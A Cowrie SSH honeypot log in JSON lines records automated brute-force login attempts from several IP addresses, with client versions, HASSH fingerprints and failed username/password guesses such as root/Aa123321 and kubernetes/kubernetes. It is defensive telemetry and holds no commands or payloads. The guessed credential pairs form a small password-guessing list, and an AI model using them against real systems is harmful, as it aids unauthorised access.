{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:10.044594Z","src_ip":"83.168.110.85","session":"9893bd6929c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:11.254954Z","src_ip":"83.168.110.85","session":"9893bd6929c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51036,"dst_ip":"159.203.135.109","dst_port":22,"session":"11b2969297da","protocol":"ssh","message":"New connection: 83.168.110.85:51036 (159.203.135.109:22) [session: 11b2969297da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:19.901032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:19.910183Z","src_ip":"83.168.110.85","session":"11b2969297da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:20.031831Z","src_ip":"83.168.110.85","session":"11b2969297da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:20.393511Z","src_ip":"83.168.110.85","session":"11b2969297da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:21.572767Z","src_ip":"83.168.110.85","session":"11b2969297da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55392,"dst_ip":"159.203.135.109","dst_port":22,"session":"6930e99ee7b8","protocol":"ssh","message":"New connection: 83.168.110.85:55392 (159.203.135.109:22) [session: 6930e99ee7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:30.418078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:30.423953Z","src_ip":"83.168.110.85","session":"6930e99ee7b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:30.545396Z","src_ip":"83.168.110.85","session":"6930e99ee7b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:30.912863Z","src_ip":"83.168.110.85","session":"6930e99ee7b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:32.038827Z","src_ip":"83.168.110.85","session":"6930e99ee7b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":39508,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3dee83b65d0","protocol":"ssh","message":"New connection: 79.3.96.178:39508 (10.17.0.5:22) [session: a3dee83b65d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:38.343202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:38.347750Z","src_ip":"79.3.96.178","session":"a3dee83b65d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:38.478042Z","src_ip":"79.3.96.178","session":"a3dee83b65d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Secure","message":"login attempt [root/Secure] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:39.028803Z","src_ip":"79.3.96.178","session":"a3dee83b65d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:40.161031Z","src_ip":"79.3.96.178","session":"a3dee83b65d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48092,"dst_ip":"159.203.135.109","dst_port":22,"session":"faaf85ba924e","protocol":"ssh","message":"New connection: 83.168.110.85:48092 (159.203.135.109:22) [session: faaf85ba924e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:40.880269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:40.885033Z","src_ip":"83.168.110.85","session":"faaf85ba924e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:41.006402Z","src_ip":"83.168.110.85","session":"faaf85ba924e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:41.400125Z","src_ip":"83.168.110.85","session":"faaf85ba924e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":49148,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e2695f3c79","protocol":"ssh","message":"New connection: 152.32.171.99:49148 (159.203.135.109:22) [session: 96e2695f3c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:41.840265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:41.848844Z","src_ip":"152.32.171.99","session":"96e2695f3c79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:42.066992Z","src_ip":"152.32.171.99","session":"96e2695f3c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:42.580025Z","src_ip":"83.168.110.85","session":"faaf85ba924e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azsxdc","message":"login attempt [root/azsxdc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:42.971460Z","src_ip":"152.32.171.99","session":"96e2695f3c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:44.193128Z","src_ip":"152.32.171.99","session":"96e2695f3c79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":47450,"dst_ip":"159.203.135.109","dst_port":22,"session":"45c482f69b43","protocol":"ssh","message":"New connection: 89.108.118.91:47450 (159.203.135.109:22) [session: 45c482f69b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:49.316333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:49.321166Z","src_ip":"89.108.118.91","session":"45c482f69b43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:49.462461Z","src_ip":"89.108.118.91","session":"45c482f69b43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321!","message":"login attempt [root/123321!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:49.895317Z","src_ip":"89.108.118.91","session":"45c482f69b43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:51.148956Z","src_ip":"89.108.118.91","session":"45c482f69b43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57690,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcc61ecc4ad4","protocol":"ssh","message":"New connection: 83.168.110.85:57690 (159.203.135.109:22) [session: bcc61ecc4ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:51.303443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:51.310104Z","src_ip":"83.168.110.85","session":"bcc61ecc4ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:51.425696Z","src_ip":"83.168.110.85","session":"bcc61ecc4ad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:51.899733Z","src_ip":"83.168.110.85","session":"bcc61ecc4ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:53.023239Z","src_ip":"83.168.110.85","session":"bcc61ecc4ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48884,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4cc76ab7b99","protocol":"ssh","message":"New connection: 83.168.110.85:48884 (159.203.135.109:22) [session: c4cc76ab7b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:01.401536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:01.405572Z","src_ip":"83.168.110.85","session":"c4cc76ab7b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:01.526652Z","src_ip":"83.168.110.85","session":"c4cc76ab7b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:01.895088Z","src_ip":"83.168.110.85","session":"c4cc76ab7b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:03.063828Z","src_ip":"83.168.110.85","session":"c4cc76ab7b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":56520,"dst_ip":"10.17.0.5","dst_port":22,"session":"59cc69b33056","protocol":"ssh","message":"New connection: 2.57.121.112:56520 (10.17.0.5:22) [session: 59cc69b33056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:04.610249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:04.616066Z","src_ip":"2.57.121.112","session":"59cc69b33056","protocol":"ssh"}
